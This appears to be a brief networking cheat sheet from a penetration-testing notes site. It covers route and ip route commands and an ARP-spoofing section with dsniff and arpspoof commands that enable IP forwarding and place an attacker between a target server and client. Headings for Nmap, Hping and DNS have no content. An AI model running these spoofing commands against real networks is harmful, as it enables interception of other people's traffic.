Networking

Routing

# Check Routes
sudo route

# Add route with route
sudo route add -net 192.168.222.0 netmask 255.255.255.0 gw 10.175.34.1 tap0

# Remove route with route
sudo route del -net 192.168.222.0 netmask 255.255.255.0 gw 10.175.34.1 tap0

# Add route with ip
sudo ip route add 192.168.222.0/24 via 10.175.34.1

# Remove route with ip
sudo ip route del 192.168.222.0/24 via 10.175.34.1

Arp Spoofing

sudo apt-get install dsniff
sudo arpspoof

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i <INTERFACE> -t <TARGETSERVER> -r <TARGETCLIENT>

Port Scanning

Nmap

Hping / Hping3

DNS

Last updated

Was this helpful?